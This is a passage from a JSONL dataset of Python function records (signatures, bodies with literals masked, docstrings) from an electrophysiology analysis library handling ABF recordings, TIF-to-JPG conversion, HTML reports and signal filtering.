"f11344:c0:m4"}
{"signature": "def html_single_fixed(self,ID):", "body": "return<EOL>", "docstring": "Single page generator designed for easy gruop comparisons.", "id": "f11344:c0:m5"}
{"signature": "def html_singleAll(self,template=\"<STR_LIT>\"):", "body": "for fname in smartSort(self.cells):<EOL><INDENT>if template==\"<STR_LIT>\":<EOL><INDENT>self.html_single_fixed(fname)<EOL><DEDENT>else:<EOL><INDENT>self.html_single_basic(fname)<EOL><DEDENT><DEDENT>", "docstring": "generate a data view for every ABF in the project folder.", "id": "f11344:c0:m6"}
{"signature": "def makePics(self):", "body": "rescanNeeded=False<EOL>for fname in smartSort(self.fnames):<EOL><INDENT>if fname in self.fnames2:<EOL><INDENT>continue<EOL><DEDENT>ext=os.path.splitext(fname)[<NUM_LIT:1>].lower()<EOL>if ext in [\"<STR_LIT>\",\"<STR_LIT>\"]:<EOL><INDENT>if not fname in self.abfFolder2:<EOL><INDENT>self.log.debug(\"<STR_LIT>\",fname)<EOL>shutil.copy(os.path.join(self.abfFolder,fname),os.path.join(self.abfFolder2,fname))<EOL>rescanNeeded=True<EOL><DEDENT><DEDENT>if ext in [\"<STR_LIT>\",\"<STR_LIT>\"]:<EOL><INDENT>if not fname+\"<STR_LIT>\" in self.fnames2:<EOL><INDENT>self.log.debug(\"<STR_LIT>\",fname)<EOL>swhlab.swh_image.TIF_to_jpg(os.path.join(self.abfFolder,fname),saveAs=os.path.join(self.abfFolder2,fname+\"<STR_LIT>\"))<EOL>rescanNeeded=True<EOL><DEDENT><DEDENT><DEDENT>if rescanNeeded:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>self.log.debug(\"<STR_LIT>\")<EOL>self.folderScan()<EOL><DEDENT>", "docstring": "convert every .image we find to a ./swhlab/ image", "id": "f11344:c0:m7"}
{"signature": "def frames(fname=None,menuWidth=<NUM_LIT:200>,launch=False):", "body": "html=\"\"\"<STR_LIT>\"\"\"%(menuWidth)<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>if launch:<EOL><INDENT>webbrowser.open(fname)<EOL><DEDENT>", "docstring": "create and save a two column frames HTML file.", "id": "f11345:m0"}
{"signature": "def save(html,fname=None,launch=False):", "body": "html=html_top+html+html_bot<EOL>html=html.replace(\"<STR_LIT>\",swhlab.common.datetimeToString())<EOL>if fname is None:<EOL><INDENT>fname = tempfile.gettempdir()+\"<STR_LIT>\"<EOL>launch=True<EOL><DEDENT>fname=os.path.abspath(fname)<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>global stylesheetSaved<EOL>stylesheetPath=os.path.join(os.path.dirname(fname),\"<STR_LIT>\")<EOL>if not os.path.exists(stylesheetPath) or stylesheetSaved is False:<EOL><INDENT>with open(stylesheetPath,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(stylesheet)<EOL>stylesheetSaved=True<EOL><DEDENT><DEDENT>if launch:<EOL><INDENT>webbrowser.open(fname)<EOL><DEDENT>", "docstring": "wrap HTML in a top and bottom (with css) and save to disk.", "id": "f11345:m1"}
{"signature": "def TIF_to_jpg(fnameTiff, overwrite=False, saveAs=\"<STR_LIT>\"):", "body": "if saveAs == \"<STR_LIT>\":<EOL><INDENT>saveAs=fnameTiff+\"<STR_LIT>\"<EOL><DEDENT>if overwrite is False and os.path.exists(saveAs):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>img=pylab.imread(fnameTiff)<EOL>img=img/np.max(img) <EOL>hist1,bins1=np.histogram(img.ravel(),bins=<NUM_LIT>, range=(<NUM_LIT:0>,<NUM_LIT:1>))<EOL>if np.average(img)<<NUM_LIT>:<EOL><INDENT>vmin=None<EOL>vmax=None<EOL>msg=\"<STR_LIT>\"<EOL>while np.average(img)<<NUM_LIT>:<EOL><INDENT>img=np.sqrt(img)<EOL>msg+=\"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg=\"<STR_LIT>\"<EOL>percentile=<NUM_LIT><EOL>vmin=np.percentile(img.ravel(),percentile)<EOL>vmax=np.percentile(img.ravel(),<NUM_LIT:100>-percentile)<EOL><DEDENT>hist2,bins2=np.histogram(img.ravel(),bins=<NUM_LIT>, range=(<NUM_LIT:0>,<NUM_LIT:1>))<EOL>fig=pylab.figure(facecolor='<STR_LIT:r>')<EOL>fig.gca().imshow(img,cmap=pylab.gray(),vmin=vmin,vmax=vmax)<EOL>pylab.subplots_adjust(top=<NUM_LIT:1>, bottom=<NUM_LIT:0>, right=<NUM_LIT:1>, left=<NUM_LIT:0>, hspace=<NUM_LIT:0>, wspace=<NUM_LIT:0>)<EOL>pylab.gca().xaxis.set_major_locator(pylab.NullLocator())<EOL>pylab.gca().yaxis.set_major_locator(pylab.NullLocator())<EOL>pylab.axis('<STR_LIT>')<EOL>fig.set_size_inches(img.shape[<NUM_LIT:1>]/<NUM_LIT:100>, img.shape[<NUM_LIT:0>]/<NUM_LIT:100>)<EOL>msg=\"<STR_LIT>\"%(os.path.basename(fnameTiff),<EOL>datetime.datetime.fromtimestamp(os.path.getmtime(fnameTiff)))+msg<EOL>center=<NUM_LIT:10><EOL>pylab.text(center,center,\"<STR_LIT:%s>\"%(msg),va=\"<STR_LIT>\",color='<STR_LIT:w>',size='<STR_LIT>',<EOL>family='<STR_LIT>',weight='<STR_LIT>',<EOL>bbox=dict(facecolor='<STR_LIT:k>', alpha=<NUM_LIT>))<EOL>scaleWidthPx=False<EOL>if \"<STR_LIT>\" in fnameTiff:<EOL><INDENT>scaleWidthPx,scaleBarText=<NUM_LIT>,\"<STR_LIT>\"<EOL><DEDENT>if \"<STR_LIT>\" in fnameTiff:<EOL><INDENT>scaleWidthPx,scaleBarText=<NUM_LIT>,\"<STR_LIT>\"<EOL><DEDENT>if scaleWidthPx:<EOL><INDENT>scaleBarPadding=<NUM_LIT:10><EOL>x2,y2=img.shape[<NUM_LIT:1>]-scaleBarPadding,img.shape[<NUM_LIT:0>]-scaleBarPadding<EOL>x1,y1=x2-scaleWidthPx,y2<EOL>for offset,color,alpha in [[<NUM_LIT:2>,'<STR_LIT:k>',<NUM_LIT>],[<NUM_LIT:0>,'<STR_LIT:w>',<NUM_LIT:1>]]:<EOL><INDENT>pylab.plot([x1+offset,x2+offset],[y1+offset,y2+offset],'<STR_LIT:->',<EOL>color=color,lw=<NUM_LIT:4>,alpha=alpha)<EOL>pylab.text((x1+x2)/<NUM_LIT:2>+offset,y1-<NUM_LIT:5>+offset,scaleBarText,color=color,<EOL>ha=\"<STR_LIT>\",weight=\"<STR_LIT>\",alpha=alpha,<EOL>size=\"<STR_LIT>\",va=\"<STR_LIT>\",family=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>pylab.savefig(saveAs,dpi=<NUM_LIT:100>)<EOL>pylab.close()<EOL>", "docstring": "given a TIF taken by our cameras, make it a pretty labeled JPG.\n\nif the filename contains \"f10\" or \"f20\", add appropraite scale bars.\n\nautomatic contrast adjustment is different depending on if its a DIC\nimage or fluorescent image (which is detected automatically).", "id": "f11346:m0"}
{"signature": "def TIF_to_jpg_all(path):", "body": "for fname in sorted(glob.glob(path+\"<STR_LIT>\")):<EOL><INDENT>print(fname)<EOL>TIF_to_jpg(fname)<EOL><DEDENT>", "docstring": "run TIF_to_jpg() on every TIF of a folder.", "id": "f11346:m1"}
{"signature": "def processArgs():", "body": "if len(sys.argv)<<NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print('<STR_LIT>')<EOL>return<EOL><DEDENT>if sys.argv[<NUM_LIT:1>]=='<STR_LIT:info>':<EOL><INDENT>print(\"<STR_LIT>\",\"<STR_LIT>\".join(sys.path))<EOL>print()<EOL>print(\"<STR_LIT>\",sys.version)<EOL>print(\"<STR_LIT>\",__file__)<EOL>print(\"<STR_LIT>\",swhlab.__version__)<EOL>return<EOL><DEDENT>if sys.argv[<NUM_LIT:1>]=='<STR_LIT>':<EOL><INDENT>abfFolder=swhlab.common.gui_getFolder()<EOL>if not abfFolder or not os.path.isdir(abfFolder):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>fnames=sorted(glob.glob(abfFolder+\"<STR_LIT>\"))<EOL>outFolder=tempfile.gettempdir()+\"<STR_LIT>\"<EOL>if os.path.exists(outFolder):<EOL><INDENT>shutil.rmtree(outFolder)<EOL><DEDENT>os.mkdir(outFolder)<EOL>outFile=outFolder+\"<STR_LIT>\"<EOL>out='<STR_LIT>'<EOL>out+='<STR_LIT>'%abfFolder<EOL>for i,fname in enumerate(fnames):<EOL><INDENT>print(\"<STR_LIT>\"%(i,len(fnames)))<EOL>saveAs=os.path.join(os.path.dirname(outFolder),os.path.basename(fname))+\"<STR_LIT>\"<EOL>out+='<STR_LIT>'%os.path.abspath(fname)<EOL>out+='<STR_LIT>'%(saveAs,saveAs)<EOL>swhlab.analysis.glance.processAbf(fname,saveAs)<EOL><DEDENT>out+='<STR_LIT>'<EOL>with open(outFile,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(out)<EOL><DEDENT>webbrowser.open_new_tab(outFile)<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>print(sys.argv)<EOL>", "docstring": "check out the arguments and figure out what to do.", "id": "f11347:m0"}
{"signature": "def where_cross(data,threshold):", "body": "Is=np.where(data>threshold)[<NUM_LIT:0>]<EOL>Is=np.concatenate(([<NUM_LIT:0>],Is))<EOL>Ds=Is[:-<NUM_LIT:1>]-Is[<NUM_LIT:1>:]+<NUM_LIT:1><EOL>return Is[np.where(Ds)[<NUM_LIT:0>]+<NUM_LIT:1>]<EOL>", "docstring": "return a list of Is where the data first crosses above threshold.", "id": "f11348:m0"}
{"signature": "def kernel_gaussian(size=<NUM_LIT:100>, sigma=None, forwardOnly=False):", "body": "if sigma is None:<EOL><INDENT>sigma=size/<NUM_LIT:10><EOL><DEDENT>size=int(size)<EOL>points=np.exp(-np.power(np.arange(size)-size/<NUM_LIT:2>,<NUM_LIT:2>)/(<NUM_LIT:2>*np.power(sigma,<NUM_LIT:2>)))<EOL>if forwardOnly:<EOL><INDENT>points[:int(len(points)/<NUM_LIT:2>)]=<NUM_LIT:0><EOL><DEDENT>return points/sum(points)<EOL>", "docstring": "return a 1d gassuan array of a given size and sigma.\nIf sigma isn't given, it will be 1/10 of the size, which is usually good.\nNote that this is fully numpy, and doesn't use scipy.", "id": "f11348:m1"}
{"signature": "def lowpass(data,filterSize=None):", "body": "if filterSize is None:<EOL><INDENT>filterSize=len(data)/<NUM_LIT:10><EOL><DEDENT>kernel=kernel_gaussian(size=filterSize)<EOL>data=convolve(data,kernel) <EOL>return data<EOL>", "docstring": "minimal complexity low-pass filtering.\nFilter size is how \"wide\" the filter will be.\nSigma will be 1/10 of this filter width.\nIf filter size isn't given, it will be 1/10 of the data size.", "id": "f11348:m2"}
{"signature": "def convolve(signal,kernel):", "body": "pad=np.ones(len(kernel)/<NUM_LIT:2>)<EOL>signal=np.concatenate((pad*signal[<NUM_LIT:0>],signal,pad*signal[-<NUM_LIT:1>]))<EOL>signal=np.convolve(signal,kernel,mode='<STR_LIT>')<EOL>signal=signal[len(pad):-len(pad)]<EOL>return signal<EOL>", "docstring": "This applies a kernel to a signal through convolution and returns the result.\n\nSome magic is done at the edges so the result doesn't apprach zero:\n    1. extend the signal's edges with len(kernel)/2 duplicated values\n    2. perform the convolution ('same' mode)\n    3. slice-off the ends we added\n    4. return the same number of points as the original", "id": "f11348:m3"}
{"signature": "def waitFor(sec=<NUM_LIT:5>):", "body": "while sec:<EOL><INDENT>print(\"<STR_LIT>\",sec,\"<STR_LIT>\")<EOL>sec-=<NUM_LIT:1><EOL>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "wait a given number of seconds until returning.", "id": "f11348:m4"}
{"signature": "def pause():", "body": "input(\"<STR_LIT>\")<EOL>", "docstring": "halt everything until user input. Use this sparingly.", "id": "f11348:m5"}
{"signature": "def exceptionToString(e):", "body": "exc_type, exc_obj, exc_tb = sys.exc_info()<EOL>s=\"<STR_LIT>\"<EOL>s+=\"<STR_LIT>\"%os.path.split(exc_tb.tb_frame.f_code.co_filename)[<NUM_LIT:1>]<EOL>s+=\"<STR_LIT>\"%exc_tb.tb_lineno<EOL>s+=\"<STR_LIT>\"%exc_type<EOL>return s<EOL>", "docstring": "when you \"except Exception as e\", give me the e and I'll give you a string.", "id": "f11348:m6"}
{"signature": "def isIpython():", "body": "try:<EOL><INDENT>if str(__IPYTHON__):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "returns True if running in an Ipython interpreter.", "id": "f11348:m7"}
{"signature": "def timeit(timer=None):", "body": "if timer is None:<EOL><INDENT>return time.time()<EOL><DEDENT>else:<EOL><INDENT>took=time.time()-timer<EOL>if took<<NUM_LIT:1>:<EOL><INDENT>return \"<STR_LIT>\"%(took*<NUM_LIT>)<EOL><DEDENT>elif took<<NUM_LIT>:<EOL><INDENT>return \"<STR_LIT>\"%(took)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"%(took/<NUM_LIT>)<EOL><DEDENT><DEDENT>", "docstring": "simple timer. returns a time object, or a string.", "id": "f11348:m8"}
{"signature": "def list_move_to_front(l,value='<STR_LIT>'):", "body": "l=list(l)<EOL>if value in l:<EOL><INDENT>l.remove(value)<EOL>l.insert(<NUM_LIT:0>,value)<EOL><DEDENT>return l<EOL>", "docstring": "if the value is in the list, move it to the front and return it.", "id": "f11348:m12"}
{"signature": "def list_move_to_back(l,value='<STR_LIT>'):", "body": "l=list(l)<EOL>if value in l:<EOL><INDENT>l.remove(value)<EOL>l.append(value)<EOL><DEDENT>return l<EOL>", "docstring": "if the value is in the list, move it to the back and return it.", "id": "f11348:m13"}
{"signature": "def list_order_by(l,firstItems):", "body": "l=list(l)<EOL>for item in firstItems[::-<NUM_LIT:1>]: <EOL><INDENT>if item in l:<EOL><INDENT>l.remove(item)<EOL>l.insert(<NUM_LIT:0>,item)<EOL><DEDENT><DEDENT>return l<EOL>", "docstring": "given a list and a list of items to be first, return the list in the\n    same order except that it begins with each of the first items.", "id": "f11348:m14"}
{"signature": "def list_to_lowercase(l):", "body": "return [x.lower() for x in l if type(x) is str]<EOL>", "docstring": "given a list of strings, make them all lowercase.", "id": "f11348:m15"}
{"signature": "def ext(fname):", "body": "if \"<STR_LIT:.>\" in fname:<EOL><INDENT>return os.path.splitext(fname)[<NUM_LIT:1>]<EOL><DEDENT>return fname<EOL>", "docstring": "return the extension of a filename.", "id": "f11348:m16"}
{"signature": "def abfSort(IDs):", "body": "IDs=list(IDs)<EOL>monO=[]<EOL>monN=[]<EOL>monD=[]<EOL>good=[]<EOL>for ID in IDs:<EOL><INDENT>if ID is None:<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT:o>' in ID:<EOL><INDENT>monO.append(ID)<EOL><DEDENT>elif '<STR_LIT:n>' in ID:<EOL><INDENT>monN.append(ID)<EOL><DEDENT>elif '<STR_LIT:d>' in ID:<EOL><INDENT>monD.append(ID)<EOL><DEDENT>else:<EOL><INDENT>good.append(ID)<EOL><DEDENT><DEDENT>return sorted(good)+sorted(monO)+sorted(monN)+sorted(monD)<EOL>", "docstring": "given a list of goofy ABF names, return it sorted intelligently.\nThis places things like 16o01001 after 16901001.", "id": "f11348:m17"}
{"signature": "def abfGroups(abfFolder):", "body": "<EOL>files=False<EOL>if type(abfFolder) is str and os.path.isdir(abfFolder):<EOL><INDENT>files=abfSort(os.listdir(abfFolder))<EOL><DEDENT>elif type(abfFolder) is list:<EOL><INDENT>files=abfSort(abfFolder)<EOL><DEDENT>assert type(files) is list<EOL>files=list_to_lowercase(files)<EOL>abfs, IDs, others, parents, days = [],[],[],[],[]<EOL>for fname in files:<EOL><INDENT>if fname.endswith(\"<STR_LIT>\"):<EOL><INDENT>abfs.append(fname)<EOL>IDs.append(fname[:-<NUM_LIT:4>])<EOL>days.append(fname[:<NUM_LIT:5>])<EOL><DEDENT>else:<EOL><INDENT>others.append(fname)<EOL><DEDENT><DEDENT>for ID in IDs:<EOL><INDENT>for fname in others:<EOL><INDENT>if fname.startswith(ID):<EOL><INDENT>parents.append(ID)<EOL><DEDENT><DEDENT><DEDENT>parents=abfSort(set(parents)) <EOL>days=abfSort(set(days)) <EOL>groups={}<EOL>for day in days:<EOL><INDENT>parent=None<EOL>for fname in [x for x in abfs if x.startswith(day)]:<EOL><INDENT>ID=fname[:-<NUM_LIT:4>]<EOL>if ID in parents:<EOL><INDENT>parent=ID<EOL><DEDENT>if not parent in groups.keys():<EOL><INDENT>groups[parent]=[]<EOL><DEDENT>groups[parent].extend([ID])<EOL><DEDENT><DEDENT>return groups<EOL>", "docstring": "Given a folder path or list of files, return groups (dict) by cell.\n\nRules which define parents (cells):\n    * assume each cell has one or several ABFs\n    * that cell can be labeled by its \"ID\" or \"parent\" ABF (first abf)\n    * the ID is just the filename of the first abf without .abf\n    * if any file starts with an \"ID\", that ID becomes a parent.\n    * examples could be 16o14044.TIF or 16o14044-cell1-stuff.jpg\n    * usually this is done by saving a pic of the cell with same filename\n\nReturns a dict of \"parent IDs\" representing the \"children\"\n    groups[\"16o14041\"] = [\"16o14041\",\"16o14042\",\"16o14043\"]\n\nFrom there, getting children files is trivial. Just find all files in\nthe same folder whose filenames begin with one of the children.", "id": "f11348:m18"}
{"signature": "def abfGroupFiles(groups,folder):", "body": "assert os.path.exists(folder)<EOL>files=os.listdir(folder)<EOL>group2={}<EOL>for parent in groups.keys():<EOL><INDENT>if not parent in group2.keys():<EOL><INDENT>group2[parent]=[]<EOL><DEDENT>for ID in groups[parent]:<EOL><INDENT>for fname in [x.lower() for x in files if ID in x.lower()]:<EOL><INDENT>group2[parent].extend([fname])<EOL><DEDENT><DEDENT><DEDENT>return group2<EOL>", "docstring": "when given a dictionary where every key contains a list of IDs, replace\nthe keys with the list of files matching those IDs. This is how you get a\nlist of files belonging to each child for each parent.", "id": "f11348:m19"}
{"signature": "def parent(groups,ID):", "body": "if ID in groups.keys():<EOL><INDENT>return ID <EOL><DEDENT>if not ID in groups.keys():<EOL><INDENT>for actualParent in groups.keys():<EOL><INDENT>if ID in groups[actualParent]:<EOL><INDENT>return actualParent <EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "given a groups dictionary and an ID, return its actual parent ID.", "id": "f11348:m20"}
{"signature": "def filesByType(fileList):", "body": "features=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT:data>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL>files={}<EOL>for feature in features:<EOL><INDENT>files[feature]=[]<EOL><DEDENT>for fname in fileList:<EOL><INDENT>other=True<EOL>for feature in features:<EOL><INDENT>if \"<STR_LIT:_>\"+feature+\"<STR_LIT:_>\" in fname:<EOL><INDENT>files[feature].extend([fname])<EOL>other=False<EOL><DEDENT><DEDENT>if other:<EOL><INDENT>files['<STR_LIT>'].extend([fname])<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "given a list of files, return them as a dict sorted by type:\n    * plot, tif, data, other", "id": "f11348:m21"}
{"signature": "def userFolder():", "body": "<EOL>path=os.path.expanduser(\"<STR_LIT>\")+\"<STR_LIT>\" <EOL>if not os.path.exists(path):<EOL><INDENT>print(\"<STR_LIT>\",path)<EOL>os.mkdir(path)<EOL><DEDENT>return os.path.abspath(path)<EOL>", "docstring": "return the semi-temporary user folder", "id": "f11348:m22"}
{"signature": "def abfFname_Load():", "body": "fname=userFolder()+\"<STR_LIT>\"<EOL>if os.path.exists(fname):<EOL><INDENT>abfFname=open(fname).read().strip()<EOL>if os.path.exists(abfFname) or abfFname.endswith(\"<STR_LIT>\"):<EOL><INDENT>return abfFname<EOL><DEDENT><DEDENT>return os.path.abspath(os.sep)<EOL>", "docstring": "return the path of the last loaded ABF.", "id": "f11348:m23"}
{"signature": "def abfFname_Save(abfFname):", "body": "fname=userFolder()+\"<STR_LIT>\"<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(os.path.abspath(abfFname))<EOL><DEDENT>return<EOL>", "docstring": "return the path of the last loaded ABF.", "id": "f11348:m24"}
{"signature": "def gui_getFile():", "body": "import tkinter as tk<EOL>from tkinter import filedialog<EOL>root = tk.Tk() <EOL>root.withdraw() <EOL>root.wm_attributes('<STR_LIT>', <NUM_LIT:1>) <EOL>fname = filedialog.askopenfilename(title = \"<STR_LIT>\",<EOL>filetypes=[('<STR_LIT>', '<STR_LIT>')],<EOL>initialdir=os.path.dirname(abfFname_Load()))<EOL>if fname.endswith(\"<STR_LIT>\"):<EOL><INDENT>abfFname_Save(fname)<EOL>return fname<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>", "docstring": "Launch an ABF file selection file dialog.\nThis is smart, and remembers (through reboots) where you last were.", "id": "f11348:m25"}
{"signature": "def gui_getFolder():", "body": "import tkinter as tk<EOL>from tkinter import filedialog<EOL>root = tk.Tk() <EOL>root.withdraw() <EOL>root.wm_attributes('<STR_LIT>', <NUM_LIT:1>) <EOL>fname = filedialog.askdirectory(title = \"<STR_LIT>\",<EOL>initialdir=os.path.dirname(abfFname_Load()))<EOL>if len(fname)><NUM_LIT:3>:<EOL><INDENT>abfFname_Save(fname+\"<STR_LIT>\")<EOL>return fname<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>", "docstring": "Launch a folder selection dialog.\nThis is smart, and remembers (through reboots) where you last were.", "id": "f11348:m26"}
{"signature": "def tryLoadingFrom(tryPath,moduleName='<STR_LIT>'):", "body": "if not '<STR_LIT>' in swhlab.__file__:<EOL><INDENT>print(\"<STR_LIT>\",<EOL>os.path.dirname(swhlab.__file__))<EOL>return <EOL><DEDENT>while len(tryPath)><NUM_LIT:5>:<EOL><INDENT>sp=tryPath+\"<STR_LIT>\" <EOL>if os.path.isdir(sp) and os.path.exists(sp+\"<STR_LIT>\"):<EOL><INDENT>if not os.path.dirname(tryPath) in sys.path:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>,os.path.dirname(tryPath))<EOL><DEDENT>print(\"<STR_LIT:#>\"*<NUM_LIT>)<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT:#>\"*<NUM_LIT>)<EOL><DEDENT>tryPath=os.path.dirname(tryPath)<EOL><DEDENT>return<EOL>", "docstring": "if the module is in this path, load it from the local folder.", "id": "f11349:m0"}
{"signature": "def abfIDfromFname(fname):", "body": "fname=os.path.abspath(fname)<EOL>basename=os.path.basename(fname)<EOL>return os.path.splitext(basename)[<NUM_LIT:0>]<EOL>", "docstring": "given a filename, return the ABFs ID string.", "id": "f11350:m0"}
{"signature": "def abfProtocol(fname):", "body": "f=open(fname,'<STR_LIT:rb>')<EOL>raw=f.read(<NUM_LIT:30>*<NUM_LIT:1000>) <EOL>f.close()<EOL>raw=raw.decode(\"<STR_LIT:utf-8>\",\"<STR_LIT:ignore>\")<EOL>raw=raw.split(\"<STR_LIT>\")[<NUM_LIT:1>].split(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>protocol = os.path.basename(raw) <EOL>protocolID = protocol.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:0>] <EOL>return protocolID<EOL>", "docstring": "Determine the protocol used to record an ABF file", "id": "f11350:m1"}
{"signature": "def headerHTML(header,fname):", "body": "html=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"%(fname)<EOL>html+=pprint.pformat(header, indent=<NUM_LIT:1>)<EOL>html=html.replace(\"<STR_LIT:\\n>\",'<STR_LIT>').replace(\"<STR_LIT:U+0020>\",\"<STR_LIT>\")<EOL>html=html.replace(r\"<STR_LIT:\\x00>\",\"<STR_LIT>\")<EOL>html+=\"<STR_LIT>\"<EOL>print(\"<STR_LIT>\",fname)<EOL>f=open(fname,'<STR_LIT:w>')<EOL>f.write(html)<EOL>f.close()<EOL>webbrowser.open(fname)<EOL>", "docstring": "given the bytestring ABF header, make and launch HTML.", "id": "f11350:m2"}
{"signature": "def __init__(self, fname, createFolder=False):", "body": "logging.basicConfig(format=swhlab.logFormat, datefmt=swhlab.logDateFormat, level=swhlab.loglevel)<EOL>self.log = logging.getLogger(\"<STR_LIT>\")<EOL>self.log.setLevel(swhlab.loglevel)<EOL>if \"<STR_LIT>\" in str(fname):<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>for item in sorted(dir(fname)):<EOL><INDENT>try:<EOL><INDENT>setattr(self,item,getattr(fname,item))<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return<EOL><DEDENT>self.log.debug(\"<STR_LIT:_>\"*<NUM_LIT>)<EOL>self.log.info(\"<STR_LIT>\",swhlab.__version__,str(fname))<EOL>if not os.path.exists(str(fname)):<EOL><INDENT>self.log.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.ABFreader = io.AxonIO(filename=fname)<EOL>self.ABFblock = self.ABFreader.read_block(lazy=False, cascade=True)<EOL>self.header=self.ABFreader.read_header()<EOL>self.protocomment=abfProtocol(fname) <EOL>self.ID=abfIDfromFname(fname) <EOL>self.filename=os.path.abspath(fname) <EOL>self.fileID=os.path.abspath(os.path.splitext(self.filename)[<NUM_LIT:0>]) <EOL>self.outFolder=os.path.abspath(os.path.dirname(fname)+\"<STR_LIT>\") <EOL>self.outPre=os.path.join(self.outFolder,self.ID)+'<STR_LIT:_>' <EOL>self.sweeps=self.ABFblock.size[\"<STR_LIT>\"] <EOL>self.timestamp=self.ABFblock.rec_datetime <EOL>self.holding = self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>'] <EOL>self.derivative=False <EOL>self.setsweep() <EOL>self.comments_load() <EOL>self.kernel=None <EOL>if createFolder:<EOL><INDENT>self.output_touch() <EOL><DEDENT>self.log.debug(\"<STR_LIT>\"%self.protocomment)<EOL>", "docstring": "Load an ABF and makes its stats and sweeps easily available.\n\nArguments:\n    fname - filename of an ABF object\n    createFolder - if True, the ./swhlab/ folder will be created", "id": "f11350:c0:m0"}
{"signature": "def setsweep(self, sweep=<NUM_LIT:0>, channel=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>sweep=int(sweep)<EOL><DEDENT>except:<EOL><INDENT>self.log.error(\"<STR_LIT>\",sweep)<EOL>return<EOL><DEDENT>if sweep<<NUM_LIT:0>:<EOL><INDENT>sweep=self.sweeps-<NUM_LIT:1>-sweep <EOL><DEDENT>sweep=max(<NUM_LIT:0>,min(sweep,self.sweeps-<NUM_LIT:1>)) <EOL>if '<STR_LIT>' in dir(self) and self.sweep == sweep and self.derivative is False:<EOL><INDENT>self.log.debug(\"<STR_LIT>\",sweep)<EOL>return<EOL><DEDENT>self.channels=self.ABFblock.segments[sweep].size[\"<STR_LIT>\"]<EOL>if self.channels><NUM_LIT:1> and sweep==<NUM_LIT:0>:<EOL><INDENT>self.log.info(\"<STR_LIT>\") <EOL><DEDENT>self.trace = self.ABFblock.segments[sweep].analogsignals[channel]<EOL>self.sweep=sweep <EOL>self.channel=channel <EOL>self.rate = int(self.trace.sampling_rate) <EOL>self.period = float(<NUM_LIT:1>/self.rate) <EOL>self.pointsPerSec = int(self.rate) <EOL>self.pointsPerMs = int(self.rate/<NUM_LIT>) <EOL>self.sweepSize = len(self.trace) <EOL>self.sweepInterval = self.trace.duration.magnitude <EOL>self.sweepLength = float(self.trace.t_stop-self.trace.t_start) <EOL>self.length = self.sweepLength*self.sweeps <EOL>self.lengthMinutes = self.length/<NUM_LIT> <EOL>if str(self.trace.dimensionality) == '<STR_LIT>':<EOL><INDENT>self.units,self.units2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL>self.unitsD,self.unitsD2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL>self.protoUnits,self.protoUnits2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL><DEDENT>elif str(self.trace.dimensionality) == '<STR_LIT>':<EOL><INDENT>self.units,self.units2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL>self.unitsD,self.unitsD2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL>self.protoUnits,self.protoUnits2=\"<STR_LIT>\",\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>self.units,self.units2=\"<STR_LIT:?>\",\"<STR_LIT>\"<EOL>self.unitsD,self.unitsD2=\"<STR_LIT:?>\",\"<STR_LIT>\"<EOL><DEDENT>self.sweepY = self.trace.magnitude <EOL>self.sweepT = self.trace.times.magnitude <EOL>self.sweepStart = float(self.trace.t_start) <EOL>self.sweepX2 = self.sweepT-self.trace.t_start.magnitude <EOL>self.sweepX = self.sweepX2+sweep*self.sweepInterval <EOL>if self.derivative:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>self.sweepD=self.sweepY[<NUM_LIT:1>:]-self.sweepY[:-<NUM_LIT:1>] <EOL>self.sweepD=np.insert(self.sweepD,<NUM_LIT:0>,self.sweepD[<NUM_LIT:0>]) <EOL>self.sweepD/=(self.period*<NUM_LIT:1000>) <EOL><DEDENT>else:<EOL><INDENT>self.sweepD=[<NUM_LIT:0>] <EOL><DEDENT>self.generate_protocol()<EOL>", "docstring": "set the sweep and channel of an ABF. Both start at 0.", "id": "f11350:c0:m1"}
{"signature": "def sweepList(self):", "body": "return range(self.sweeps)<EOL>", "docstring": "return a list of sweep numbers.", "id": "f11350:c0:m2"}
